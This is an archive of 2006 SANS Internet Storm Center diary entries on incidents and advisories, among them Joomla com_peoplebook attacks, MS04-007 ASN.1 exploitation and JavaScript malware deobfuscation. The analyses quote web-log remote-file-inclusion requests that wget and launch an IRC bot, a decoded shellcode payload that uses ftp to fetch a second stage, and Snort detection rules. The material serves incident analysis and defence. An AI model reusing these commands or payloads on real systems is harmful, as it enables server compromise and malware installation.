Diaries

Published: 2006-07-31

Bleeding Snort Domain.

The folks over at Bleeding Snort have released an alert titled "Domain Gone."  They owned the "bleedingsnort.org" domain, but somehow that domain expired and someone else purchased it and may be using it to distribute malware or other unwanted programs. The Bleeding Snort team provides lots of SNORT signatures and other useful security information. Their new official web site is http://www.bleedingsnort.com.
 
Please, until we know more about what's behind it, do not visit the "bleedingsnort.org" site (or, if you do, be very careful).

0 Comments

Published: 2006-07-31

Out-Share or Die!

In many of my talks about the Internet Storm Center (ISC), I put forward the conjecture that one of the main reasons malware development is accelerating is efficient and open collaboration. In my talks, I use this fact to explain what the ISC is trying to accomplish: We have to "out-share" in order to compete with new malware developments. This is somewhat counter intuitive for many security professionals. After all, we would never post our firewall rules (or passwords) on our web site. But why not a method you use to pick good passwords. Or better: How do you avoid using passwords?

McAfee posted a research report with the title: "Paying the Price for the Open Source Advantage". The paper very nicely puts forward a number of examples where open source hurts security. Open source enables attackers to examine source code for flaws, and a lot of malware writers use open source concepts to collaborate. The report leaves out how the lack of collaboration in the defensive community left us chasing sophisticated and well developed threats with outdated signature based tools and software whose security is largely based on an easily pierced veil of obfuscated proprietary code.

One of the founders of western military strategy Clausewitz postulated in his book "On War" that "Defense is the stronger form of waging war". But why are we loosing the network security war? We are spending larger and larger amounts on security tools. Much of this money is spent on outdated technologies like signature based anti-virus systems, point solutions that protect against the "threat of the day" and patch management systems to help us keep the leaky software we purchased (for a lot of money) afloat. We forget that some of the best security comes free, or for the price of a good pint at a local pub while hanging out with like-minded friends chatting about security. If we don't learn and if we don't start collaborating openly, we are doomed.

Lets pull out one very successful example of open source collaboration at work: Snort. Snort is not only a great Intrusion Detection System (IDS), but even better: It set a lot of the standards showing commercial vendors what a good IDS should look like. Yes we want to see packets. Yes we want to see the rules and yes, we want to tune it for our networks. Without full packets, we can't share what we learned from attacks with others. If we can't see the rules, then we can't share them to help others defend themselves. If we can't tune the rules, then we can't implement the lessons others learned to protect our network.

Now another Clausewitz quote: "Theory becomes infinitely more difficult as soon as it touches the realm of moral values." So lets put the theory of collaboration in praxis. The ISC and DShield have been created to do just that. In response to July's "Browser Bug of the Day", I would like to make August "Security Tip of the Day" month. I will post a particularly nice/insightful security tip here each day. Let the sharing begin! If you would like to share firewall logs, see how to do so here. (And yes, your home cable/DSL/dialup logs are great)!

Let's out-share and survive!

(Before I get a lot of "use large password" style tips: I am looking for novel, neat, nice, easy to implement ideas that are not widely known.)

-----
Johannes B. Ullrich, CTO SANS Internet Storm Center.


0 Comments

Published: 2006-07-30

Attacks against Joomla com_peoplebook

As reported in a couple of previous diaries (http://isc.sans.org/diary.php?storyid=1483 & 1480 ), less than adequate input validation resulted in a fair few attacks against Joomla and Mambo components. Joomla is a powerful open-source Content Management System written in php. Yesterday we received word of another attack, this time against com_peoplebook.

Here are a few of the httpd log entries that we were provided, suitably sanitized at the hosting provider's request. Note the timelag between log entries - there was a living human at the other end of the wire manually manipulating this server.

  xxx.xx.108.22 - - [27/Jul/2006:20:52:47 -0400] "GET /administrator/components/com_peoplebook/
  param.peoplebook.php?mosConfig_absolute_path=http://coderepository.xx/.mn/cmd.txt?&cmd=id
 HTTP/1.1" 200 2103
The remote file cmd.txt that is included as new "configuration" info contains the necessary php to use either the "system", "passthru" or "exec" functions to execute arbitrary code on the target machine, and provide lots of other nifty capabilities such as local exploits, an email spoofer, a fixed-range portscanner, etc. Here, the attacker merely checks the user ID that the webserver is running as. The HTTP result of 200 indicates success.
  xxx.xx.108.22 - - [27/Jul/2006:20:53:09 -0400] "GET /administrator/components/com_peoplebook/
  param.peoplebook.php?mosConfig_absolute_path=http://coderepository.xx/.mn/cmd.txt?&cmd=
  cd%20..;cd%20..;echo%20RickyFloW%20was%20here%20from%20HackBSD%20CreW%20@%20undernet%20>bsd.htm;ls
  HTTP/1.1 200 2158

Our attacker, let's call him Ricky, leaves his calling card in the form of a new htm file. First, he tries to get to a location that is writable by the webserver and likely fails, as he tries again after going up one more level:

  xxx.xx.108.22 - - [27/Jul/2006:20:53:24 -0400] "GET /administrator/components/com_peoplebook/
  param.peoplebook.php?mosConfig_absolute_path=http://coderepository.xx/.mn/cmd.txt?&cmd=
  cd%20..;echo%20RickyFloW%20was%20here%20from%20HackBSD%20CreW%20@%20undernet%20>bsd.htm;ls
 HTTP/1.1 200 2524
OK, now that the most important stuff is out of the way, Ricky builds his bot:
  xxx.xx108.22 - - [27/Jul/2006:20:54:03 -0400] "GET /administrator/components/com_peoplebook/
  param.peoplebook.php?mosConfig_absolute_path=http://coderepository.xx/.mn/cmd.txt?&cmd=
  cd%20/tmp;rm%20-rf%20*;wget%20toscanacasting.it/.mn/mech.tar;tar%20-xvf%20mech.tar;cd%20httpd;
  ./start.sh;cd%20/tmp;rm%20-rf%20mech.tar;mv%20httpd%20.httpd HTTP/1.1 200 2248
He pulls down his tarball, mech.tar, which contains an old reliable IRC bot, EnergyMech version 2.8, compiled back in 2001. Along with it was a config file & a number of scripts to do nasti things upon command in the IRC channel that it joins. A simple packet flooder, Perl-based shell shoveler, log wiper,etc. Note the name he gives his bot, httpd. Would you noticed an extra httpd entry in your ps list? Apache, by default, forks off 10 of them at startup and more as needed. This simple technique can be very effective against casual sysadmin review.
  xxx.xx.108.22 - - [27/Jul/2006:20:56:08 -0400] "GET /administrator/components/com_peoplebook/
param.peoplebook.php?mosConfig_absolute_path=http://coderepository.xx/.mn/cmd.txt?&cmd=
  cd%20/tmp/.httpd;%20./z HTTP/1.1 200 2091
Ricky, now wanting to really give himself away, starts up a persistent listener that gives anyone a root shell if they connect to a fixed port. There is no attempt at hiding this from netstat, although plenty of userspace and kernel rootkits can do this with their hands tied behind their backs. Bad Ricky. Bad,lazy H4X0r Ricky.

I joke about his lack of sophistication, but he wouldn't keep up this practice if it wasn't successful. There are plenty of vulnerable systems that aren't reviewed carefully by their admins. If you are running Joomla, heed their dev website (http://dev.joomla.org/content/blogcategory/21/86/) posting:

All existing Joomla! users MUST UPGRADE to this version, due to several High Level vulnerabilities
 that affect ALL Previous versions of Joomla!
1.0.10 contains the following important security fixes:

    * 03 High Level Security Fixes
    * 01 Medium Level Security Fixes
    * 05 Low Level security
    * 40+ General bugfixes

If you are using ANY previous version of Joomla!, you need to upgrade to 1.0.10

In addition, be sure to update any third-party components, like com_peoplebook (http://forge.joomla.org/sf/projects/peoplebook), to take advantage of the
security enhancements enabled by the new release of Joomla.

Cheers!

0 Comments

Published: 2006-07-30

ASN.1 vuln keeps on a'chugging.

I do declare, Johannes Ulrich is a seer, of sorts. Yesterday, he discussed the
inner workings of ASN.1 attacks against Microsoft authentication tokens. Yes,
an oldie but a goodie, it is still being seen in the wild. Then, right on cue,
Sophos today reports on a new multi-vectored worm, W32/Tilebot-GD, that spreads
via LSASS (MS04-011), RPC-DCOM (MS04-012), PNP (MS05-039) and ASN.1 (MS04-007)
vulnerabilities. It then configures and starts a new Windows service, smsc.exe
that is reported as "Window Services Connection", and joins an IRC botnet
(that's a shocker :p).  

Details at http://www.sophos.com/virusinfo/analyses/w32tilebotgd.html

0 Comments

Published: 2006-07-28

Security Fix for Apache

We got a heads up today from one of our readers (thanks Oliver) that there is a newly discovered security issue with the mod_rewrite module in the Apache httpd server.  The issue itself has been in the Apache httpd code for sometime, depending on which of the three version trees you are using.  The vulnerability affects all three major version trees that Apache still supports (1.3, 2.0 and 2.2). From the release notes on Apache's web site:

    CVE-2006-3747: An off-by-one flaw exists in the Rewrite module, mod_rewrite, as shipped with Apache 1.3 since 1.3.28, 2.0 since 2.0.46, and 2.2 since 2.2.0.

The newest versions of each release can be obtained here:

Apache 1.3.37    Announcement   Change Log    GZIP'd TarBall
Apache 2.0.59    Announcement   Change Log    GZIP'd TarBall
Apache 2.2.3     Announcement   Change Log    GZIP'd TarBall

Although there are some conditions and restrictions on the specific combination of mod_rewrite directives that create the vulnerability, it is still recommended that anyone using the mod_rewrite module upgrade their Apache httpd installation sooner rather than later.  If you are not using the mod_rewrite module, you are not vulnerable to this potential issue.

If you have installed the Apache httpd web server from a binary distibution from your vendor, please check your vendor's patch announcements and distribution sites to see when you will be able to install the newer version of the software which addresses the flaw.

0 Comments

Published: 2006-07-28

MSRC Blog Entry about POC of MS06-035

Good Friday evening all (for those in the western hemisphere).

Microsoft posted a blog entry this afernoon containing information about their assessment of  recent reports of a vulnerability which was not addressed in MS06-035.  It appears that the current proof of concept is limited to a denial of service attack and is not currently being observed as an attack vector.  Microsoft reports that they have not identified any possibilities that the issue could allow remote code execution.

We recommend that you assess your particular situation.   Blocking ports 135-139, 445 is already a best practice.  Whitelist IPs that may need these ports, but remember to limit your exposure from your road warrior/home office users.   We expect that Microsoft will release a patch on August 8 to address this current threat.

For more information, please see http://blogs.technet.com/msrc/archive/2006/07/28/443837.aspx.
---
Scott Fendley
ISC Handler

0 Comments

Published: 2006-07-28

phpMyChat scan

I just found the following nice scan in one of my web servers:

"GET //chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows 98)"
"GET /chat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpchat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /PhpMyChat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /chatroom//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /chats//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /forum//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /php/phpmychat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat-0.14.2//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat-0.14.5//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"


I guess it is safe to assume that the origin is not a 'Windows 98' machine as the client string suggests. The IP resolves to a server which identifies itself as 'Apache/1.3.31 (Unix)'.

Well, next time they come back I will have a dummy php script at these URLs to take a look what they are trying to acchieve. The program they are trying to exploit, phpMyChat, can be found here: http://www.phpheaven.net/phpmychat:home . The versions referenced about (14.2 and 14.5) came out in 2000 and 2001, so almost 5 years old now. The project looks a bit abandond.

If someone got details, let use know!
Update: Our reader Toni pointed out that phpmychat has multiple file inclusion issues if "register_globals" is not disabled. He also found this vulnerability: http://www.securityfocus.com/bid/17382/info

0 Comments

Published: 2006-07-28

Sysadmin Appreciation Day

Before I forget. Today is Sysadmin Appreciation Day. Well, feel appeciated ;-) Maybe your boss/spouse or significant other will read this and get you some nice toy (LED flowers?). More friday afternoon stuff: The System Administrator Song.

0 Comments

Published: 2006-07-28

Browser *does* matter, not only for vulnerabilities - a story on JavaScript deobfuscation

Reader Gilbert sent us a link to a site that caused couple of alerts with his anti-virus program. Initially this looked like a typical web site hosting malware, but it turned out to be much more.

The HTML document was absolutely standard, except for one iframe which was, of course, hidden. This raised our eyebrows and we started following what turned out to be an interesting obfuscation.

Before we start with this we should stress out that, if you decide to do something similar, it is always recommended that you do this on an isolated machine – virtual machines are ideal candidates for playing with malware of this type.

First Layer

The iframe pointed to a JavaScript file which used (today) more or less standard obfuscation: a function was defined with various permutations and it was called with a document.write at the end.
The obfuscation typically looks like this:

function dc(x){var l=x.length, …
…. Various permutations …
document.write(r)}}

dc(a_HDcBY@icbCvFIEjg ... long ASCII string ...);

As you can see, the dc() function is called with the encoded string, and document.write() is called at the end. This results in another JavaScript which is executed immediately after it's decoded by the document.write() call.
Decoding this JavaScript is typically pretty easy and there are numerous ways of doing it. The easiest way of what's going is just to replace the document.write() call with the alert() call – this will cause your browser to print the whole new code in an alert popup.
If you want to be more creative, you can add code which will replace all < or > characters to something else – this will cause your browser not to parse it as JavaScript.

Another nice trick is to add document.write("<textarea rows=100 cols=100>"); as first line after the script tag and document.write("</textarea>"); as last line. The decoded javascript will now show up nicely inside the text area which can be copy&pasted easy. Thanks to Tom and Johannes for this trick.

Second layer

So, once the first step was decoded we were greeted with another obfuscated code. This code looked similar to the previous one (but boy, we were wrong with that). This time the (de-)obfuscation function didn't end with a document.write() call, but with an eval() call. The eval() call evaluates a string and executes it as if it was script code. In other words, when obfuscating code, the eval() call is typically used to call some part of the existing code again.

This part is what caused us the most problems, and here's why. So, the deobfuscating code looks like this (non interesting parts have been removed):

function r(lI,t) {

for(var sa=0;sa<lI.length;sa+=arguments.callee.toString().length-444)
{

Various permutations;
}
eval(ii);
};
r('string');

So again, the function r() is called with a long ASCII string. There is a for loop which does various permutations and then an eval() is called. So, the first step we did here was to replace eval(ii) with alert(ii). That was easy enough but a surprise was waiting for us – when we executed that we just got some binary output. Hmm, that can't be right.

After studying the permutation for loop a bit (permutations itself aren't interesting for us) we saw something interesting in the for loop definition itself. You can see that the sa variable is being increased in every step by something weird: sa+=arguments.callee.toString().length.

We never saw this before and (not being JavaScript experts) went to see what arguments.callee actually is. After some search, we found couple of references, like this one on Mozilla's web site: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Objects:Function:arguments:callee.

Now the whole night became very very interesting. Arguments.callee specifies the function body of the currently executing function! So this code actually uses itself to do the permutation – if you change something in the code (like we did when we replaced the eval() call with alert()) you will break the whole deobfuscation part!

Firefox is not IE and vice versa

But, this is not the end of the story. In this case, the sa variable is being increased by the value which is calculated from the function string length (arguments.callee.toString().length returns the number which is the length of the whole function in characters) decreased by 444.
So, if when replaced eval() with alert(), we added 1 character to the function length, so we had to increase this number to 445. Easy – we changed that and started this in Mozilla and it didn't work again!

Two hours later (fast forward for you) we found a very interesting thing: Mozilla Firefox and Internet Explorer don't return same values when arguments.callee.toString().length is called on a function!
This is easy to test if you want – just create the following HTML file:

<html>
<head>
    <script type="text/javascript">
    <!--

    function func(){var l = arguments.callee.toString().length;alert(l);}

    func();
    //-->
    </script>
</head>
</html>

This JavaScript creates a function called func and then displays content of the variable "l" – the content will be whatever the call arguments.callee.toString().length return.
On our test machine, when this JavaScript is executed in Mozilla Firefox we get 81, while in Internet Explorer we get 69.
Why this is happening is another story, so lets get back to our deobfuscation.

A recursive call

Knowing this we now know that our alert() call with increased number (444 to 445) was actually ok, but we have to execute this from Internet Explorer, or we have to calculate new numbers for Mozilla.
We decided to use Internet Explorer (in a virtual machine, of course) and voila – we got the eval() call content: it was another call to the r() function. Knowing how the r() function works, all we had to do was call it again and we got another obfuscated JavaScript (this is 4th step already).

This time, our job was easier. This part just consisted of an unescape() call. The unescape call basically has ASCII characters which are just shown as values. You can even "crack" this manually, but it is easier if you just assign this call to another variable and then display that with another alert() call.

After the unescape() call we were greeted with another obfuscation routine, which was simple this time – it was actually very similar to the routine used in the first step, so all written above applied to this step as well.

The final result

And we finally arrived to the end of the whole (we caught the white rabbit). The final result was a bit disappointing at first – it was another iframe to a PHP file.

That PHP file is exploit for MS06-014, RDS.Datastore data execution which dropped a downloader on the victim's machine. The downloader in turn downloaded second stage, which was a keylogger called Trojan.Anserin.

The dropped malware was more or less typical, but this was indeed a very interesting investigation, which taught us some new things about obfuscation which we haven't seen before.

Thanks to fellow handlers Arrigo and Swa for help with the analysis.

0 Comments

Published: 2006-07-28

ASN.1 Attacks / MS04-007

ASN.1 attacks are nothing new, neither is MS04-007. But they are still popular and I figure it may be interesting to look at a recent attack in a bit more detail and to show a couple tools to quickly figure out whats going on.

The traffic was collected at a development server of mine. It is connected to a cable modem via a firewall. The firewall logs every packet to/from the server which provides for nice detailed logs. I am only able to quote excerpts here as the packet is long/messy. In order to allow you to follow along, I made the packets of interest available here.

The packet of interest is the GET request:
GET / HTTP/1.0  
Host: a.b.145.11
Authorization: Negotiate YIIQeg...[long messy string]...RERE==
This particular authorization method is defined in RFC 4559, "SPNEGO-based Kerberos and NTLM HTTP Authentication in Microsoft Windows". The "long messy string" is the authentication token, and the web server should use it to authenticate the user. The RFC states that it is a "companion to the HTTP/1.1 specification", so the use of HTTP/1.0 is at least "odd" in the sample above.

MS04-007 details a vulnerability in Microsoft's ASN.1 parser. This parser is used by a number of subsystems in Windows, one of which is the decoding of these authentication tokens. The same vulnerability can be exploited via SMB or HTTP, using essentially the same exploit. In the HTTP case, the exploit has to be Base64 encoded. Only after decoding the token is it passed to the vulnerable ASN.1 parser. So lets look at the decode of the authentication token. To decode it, I used a little perl script:
use MIME::Base64;
print decode_base64("... long messy string... ==");

Sure, there are probably existing tools to decode this, but I try to limit the size of my tool box and tend to use these one liners for simple stuff like that.

Let's pipe the output of this script through "xxd" and we get:


0000000: 6082 107a 0606 2b06 0105 0502 a082 106e  `..z..+........n
0000010: 3082 106a a182 1066 2382 1062 0382 0401  0..j...f#..b....
0000020: 0041 4141 4141 4141 4141 4141 4141 4141  .AAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
... more 'AAAAA' ...
0000410: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000420: 4103 0023 820c 5703 8204 0a00 9042 9042 A..#..W......B.B
0000430: 9042 9042 81c4 54f2 ffff fce8 4600 0000 .B.B..T.....F...
0000440: 8b45 3c8b 7c05 7801 ef8b 4f18 8b5f 2001 .E<.|.x...O.._ .
0000450: ebe3 2e49 8b34 8b01 ee31 c099 ac84 c074 ...I.4...1.....t
0000460: 07c1 ca0d 01c2 ebf4 3b54 2404 75e3 8b5f ........;T$.u.._
0000470: 2401 eb66 8b0c 4b8b 5f1c 01eb 8b1c 8b01 $..f..K._.......
0000480: eb89 5c24 04c3 31c0 648b 4030 85c0 780f ..\$..1.d.@0..x.
0000490: 8b40 0c8b 701c ad8b 6808 e90b 0000 008b .@..p...h.......
00004a0: 4034 057c 0000 008b 683c 5f31 f660 56eb @4.|....h<_1.`V.
00004b0: 0d68 efce e060 6898 fe8a 0e57 ffe7 e8ee .h...`h....W....
00004c0: ffff ff63 6d64 202f 6b20 6563 686f 206f ...cmd /k echo o
00004d0: 7065 6e20 302e 302e 302e 3020 3234 3730 pen 0.0.0.0 2470
00004e0: 3620 3e20 6f26 6563 686f 2075 7365 7220 6 > o&echo user
00004f0: 3120 3120 3e3e 206f 2026 6563 686f 2067 1 1 >> o &echo g
0000500: 6574 2055 7064 6174 6572 2e65 7865 203e et Updater.exe >
0000510: 3e20 6f20 2665 6368 6f20 7175 6974 203e > o &echo quit >
0000520: 3e20 6f20 2666 7470 202d 6e20 2d73 3a6f > o &ftp -n -s:o
0000530: 2026 6465 6c20 2f46 202f 5120 6f20 2655 &del /F /Q o &U
0000540: 7064 6174 6572 2e65 7865 0d0a 0042 4242 pdater.exe...BBB
0000550: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
... more 'BBBBBB' ...

Nice! We got the payload of the exploit nicely decoded without haveing to speak too much opcode. Essentially the exploit attempts to run 'ftp' on my system to pull a second stage from the infecting host. The IP address is not obfuscated here. I assume whoever wrote this particular bot messed up coding the source IP and ended up with 0.0.0.0. And ftp server was listening on port 24706 at the attacking host. But it appeared to be too busy to let me download 'Updater.exe'. The attacking host was notified and has been cleaned.

Now in this case, the target was an Apache web server. The corresponding access and error logs from this attacks are:

Error Log:
[error] [client a.b.77.83] client used wrong authentication scheme: /

Access Log:
"GET / HTTP/1.0" 401 127 "-" "-"
The current snort ruleset uses this rule to detect MS04-007 over http:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg:"WEB-IIS NTLM ASN.1 vulnerability scan attempt";
flow:to_server,established;
content:"Authorization|3A| Negotiate
YIQAAABiBoMAAAYrBgEFBQKgggBTMIFQoA4wDAYKKwYBBAGCNwICCqM";
reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818;
reference:nessus,12052; reference:nessus,12055; reference:nessus,12065;
reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx;
classtype:attempted-dos; sid:2386; rev:10;)

Note that this rule would not detect the particular version of the exploit shown here. If you run the packet capture posted above through snort, you will get however one alert from the http_inspect preprocessor:

[**] [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [**]
07/24-20:55:13.549206 a.b.77.83:2677 -> a.b.145.11:80
TCP TTL:112 TOS:0x20 ID:35513 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x31BB3658 Ack: 0xAD36B5D8 Win: 0xFFFF TcpLen: 20

(note that you have to use the '-k none' switch to ignore bad checksums).

A better rule may be:
content:"Authorization|3A|"; content: "Negotiate"; \
content: !"0a"; within: 100;

Which would just look for overly long 'Authorization: Negotiate' lines. I split up the 'Authorization: Negotiate' string to allow for various spaces and such. "nocase" may be another option to chose to make this rule safer. The RFC at first glance does not specify a maximum length for the authentication tokens, so your mileage may vary. With http_inspect enabled, you will get two alerts. One from your rule, and one from http_inspect.


0 Comments

Published: 2006-07-27

Thunderbird Download Link

Juha-Matti dropped us a note to say that although the 1.5.0.5 version of Thunderbird (which fixes the Thunderbird vulnerabilities discussed here is not available on the Thunderbird web site it is available at this mirror site.

0 Comments

Published: 2006-07-27

Cisco IKE Resource Exhaustion Attack

Fred sent us a note after recieving e-mail from Cisco.

""The attack against the Internet Key Exchange (IKE) protocol described in the NTA Monitor advisory exploits the stateless nature of the IKE version 1 protocol. The goal of such an attack is to deplete the resources available on a device to negotiate IKE security associations, and block legitimate users from establishing a new security association.""

Cisco states "This vulnerability is not related to a specific vendor implementation, but to underlying issues in the IKE protocol, and may affect any device which implements IKE version"

There is a workaround available for IOS, but not for any other Cisco products.

Cisco's full response can be found here.

Check with your vendor for other systems you have that use IKE version 1.


0 Comments

Published: 2006-07-26

Security patches for Mozilla Firefox/Thunderbird/SeaMonkey

The Mozilla Foundation released new versions of Firefox, Thunderbird and SeaMonkey products.

New versions fix numerous security vulnerabilities, of which some are rated critical. Here's a short overview of the vulnerabilities that have been fixed:

MFSA 2006-44 (http://www.mozilla.org/security/announce/2006/mfsa2006-44.html): Code execution through deleted frame reference.
This vulnerability allows remote execution and affects only Firefox 1.5 and SeaMonkey 1.0. As Thunderbird uses the same browser engine as Firefox it is vulnerable to this as well, but the JavaScript parsing function in e-mails is not turned on by default (and we recommend that it stays turned off).

MFSA 2006-45 (http://www.mozilla.org/security/announce/2006/mfsa2006-45.html): Javascript navigator Object Vulnerability.
Another remote execution vulnerability, affects Firefox 1.5 and SeaMonkey.

MFSA 2006-46 (http://www.mozilla.org/security/announce/2006/mfsa2006-46.html): Memory corruption with simultaneous events.
Remote execution vulnerability, affects Firefox and SeaMonkey.

MFSA 2006-47 (http://www.mozilla.org/security/announce/2006/mfsa2006-47.html): Native DOM methods can be hijacked across domains.
Information leaking vulnerability, can be combined with XSS, although limited. Affects Firefox and SeaMonkey.

MFSA 2006-48 (http://www.mozilla.org/security/announce/2006/mfsa2006-48.html): JavaScript new Function race condition.
Remote execution vulnerability, affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-49 (http://www.mozilla.org/security/announce/2006/mfsa2006-49.html): Heap buffer overwrite on malformed vCard, affects Thunderbird and SeaMonkey.

MFSA 2006-50 (http://www.mozilla.org/security/announce/2006/mfsa2006-50.html): JavaScript engine vulnerabilities
Multiple vulnerabilities which can lead to remote execution, affect Firefox, Thunderbird and SeaMonkey.

MFSA 2006-51 (http://www.mozilla.org/security/announce/2006/mfsa2006-51.html): Privilege escalation using named-functions and redefined "new Object()".
Remote execution vulnerability, affects Firefox, Thunderbird, SeaMonkey.

MFSA 2006-52 (http://www.mozilla.org/security/announce/2006/mfsa2006-52.html): PAC privilege escalation using Function.prototype.call
Remote script execution vulnerability through a "poisoned" PAC file. Affects Firefox and SeaMonkey.

MFSA 2006-53 (http://www.mozilla.org/security/announce/2006/mfsa2006-53.html): UniversalBrowserRead privilege escalation.
Remote script execution vulnerability, affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-54 (http://www.mozilla.org/security/announce/2006/mfsa2006-54.html): XSS with XPCNativeWrapper(window).Function(…).
XSS vulnerability using the XPCNativeWrapper construct. Affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-55 (http://www.mozilla.org/security/announce/2006/mfsa2006-55.html): Crashes with evidence of memory corruption (rv:1.8.0.5).
Probably just a DoS attack, but there is a possibility that it could be turned into a remote execution vulnerability. Affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-56 (http://www.mozilla.org/security/announce/2006/mfsa2006-56.html): chrome: scheme loading remote content
Remote script execution vulnerability that affects Firefox and SeaMonkey.


As some of these vulnerabilities are critical, it would be good if you can upgrade as soon as possible; otherwise, check for potential workarounds in the original advisories - in most cases the vulnerabilities are JavaScript related, so turning off JavaScript will help (and that goes in general).


0 Comments

Published: 2006-07-26

ISCAlert Update

Due to some changes to the way that we're doing our RSS feed (which ISCAlert reads and parses to do its stuff...) I had to make a minor change to ISCAlert.  The latest version (1.1) will fix the problem with the indicator remaining blue and showing "Infocon: NO DATA."

For those of you who don't know, ISCAlert is a tiny Windows systray application that automatically monitors the ISC and displays the status of the Infocon as a small colored globe in the tray.  If the Infocon changes, the globe changes color and blinks.  Optionally, you can use Windows sound schemes to play sounds when the Infocon status changes.  Finally, we also have the option of triggering a special "information only" alert that causes ISCAlert to notify you that something important is going on that may not rise to "Infocon-changing" level.

ISCAlert (v1.1) is available here.
(.EXE MD5: 74f1ee31e1b4f3297e767da5666c2489)

A version "internationalized" to Portuguese is here.
(.EXE MD5: 4fac5de0ebf508b9aa8f00a024bb10aa)


0 Comments

Published: 2006-07-26

“Order” e-mails and how to block them

The guys behind the Haxdoor Trojan we wrote about two days ago (http://isc.sans.org/diary.php?storyid=1508) are not giving up easy. It looks like they are constantly spamming new downloader binaries, which are modified just enough to evade detection with current signatures and/or heuristics.

These downloaders are pretty small, usually only about 3kb, and are obfuscated a bit to make analysis more difficult. The latest downloader we've received comes in exactly the same message as those previous, notifying you about the order you've placed and it's summary in the attachment.

Once executed, the downloader tries to download a file from http:// 81.95.146.133 / [removed].exe. At the time of writing this diary the file was not available.
Anti virus vendors are slowly updating definitions and starting to detect this downloader properly.

While we're on the subject of malware being spammed, one of our readers, Rick, wrote earlier to ask as about a resource which specifies filetypes/file extensions that are assumed to be dangerous and should be blocked.
 
Microsoft has a nice list of unsafe extensions that we would definitely recommend to be blocked at the gateway. Microsoft Outlook actually automatically blocks these attachments, so if you block them at the gateway, it should *not* impact your users a lot. You can find the list at http://support.microsoft.com/default.aspx?scid=kb;EN-US;q262631.

One thing we have to stress out is that you can't rely on extensions – sure, you should block these obviously unsafe ones, but don't rely on this. A lot of Unix/Linux mail programs can use the "file" utility, which is a much better choice in this case as it can detect what the file really is by examining the magic headers.

This is not a silver bullet as there ways for evading the detection by using utilities which don't rely on the magic bytes used by the "file" utility. Besides this, the "file" utility would have to be able to use the same "magic" (from the /etc/magic file) that Microsoft uses to determine which program will be used to open a file. Also, depending on the environment, there are cases when some file formats just have to be allowed (like Microsoft Word or Excel documents), which can carry other malware (just remember all 0-day vulnerabilities in Office applications that have been published lately).
This being said, blocking executables and other "unsafe" extensions and file types is still a good first line of defense.

Update (07/27/06): Today we saw another downloader being spammed, by the same group. It behaves completely same as the one detected yesterday, but it has been (again) modified to evade the AV detection. The md5sum is:

3a3a4fe61c9a0a511624cde88bcd2abe  WC2905036.exe

It again tries to connect to the same web server as above, to download the second stage executable, which (luckily) wasn't there when we checked last time.

One of our readers, Simon, reminded us on white lists for extension/file type blocking. Indeed, if you can afford to implement white lists, they are the way to go - just block everything and allow only extensions/file types that you know are needed for your organizations.


0 Comments

Published: 2006-07-26

Malware Analysis Project: Tools of the Trade

Every person out there has encountered situations when they needed a tool to do something and was not sure where to find one.  If you did find one, good luck with understanding how to use it as most don't come with good documentation.  I know I have spent many hours on Google looking for something that would do what I needed it to for that moment.  Maybe it was an easy way to extract the files out of a .chm (yep there's a cool tool to do that with) or a simple tool that does unencoding.  Here is what I'm looking for and would like for it to be a team effort.  I would like to compile and maintain a list of tools useful for doing malware analysis.  It may even be a website that has a useful feature.  Here is what I would ask that you do if you wish to contribute.  Please send the following via the contact page and label the subject as "Malware Analysis Tool Project":
  1. The name of the tool
  2. Where you can get it (if known)
  3. Shareware/Freeware
  4. What it does (short synopsis: you don't have to write a user's guide unless you really want to)
  5. Tips for using it or gotchas
  6. Is the source of the tool considered trustworthy? (i.e. would you run it on your primary system or only on a VM)
  7. Screen Shots of the tool in action (optional)
  8. Links to additional resource information about the tool (i.e. forums, mailing lists, websites, articles, etc.)

0 Comments

Published: 2006-07-26

Packet Analysis Challenge

Yes its packet time.  Here are some packets that I would like to throw out there to see what folks are able to come up with.  You will need your favorite tool to read the file as it is a raw packet capture.  This is exactly what we were initially given to work with including the source and destination IPs being obfuscated.  I will give you a couple of clues from later captures we received that will help clarify but you don't really need them.  The source IP does change but the destination IP does not.  The destination IP is a primary DNS server.  Everything that you need is contained in these packets.  You should be able to come up with an general idea of what is going on.  Is this an attack, scan or normal network traffic?  Please explain briefly how you came to your conclusions.  If you want to try this, but don't want to be mentioned in the future diary writeup with the solution, please let me know.  I'll post the answer in a few days and explain how we came to our conclusions and how it was verified with a later capture.  Have fun!!!

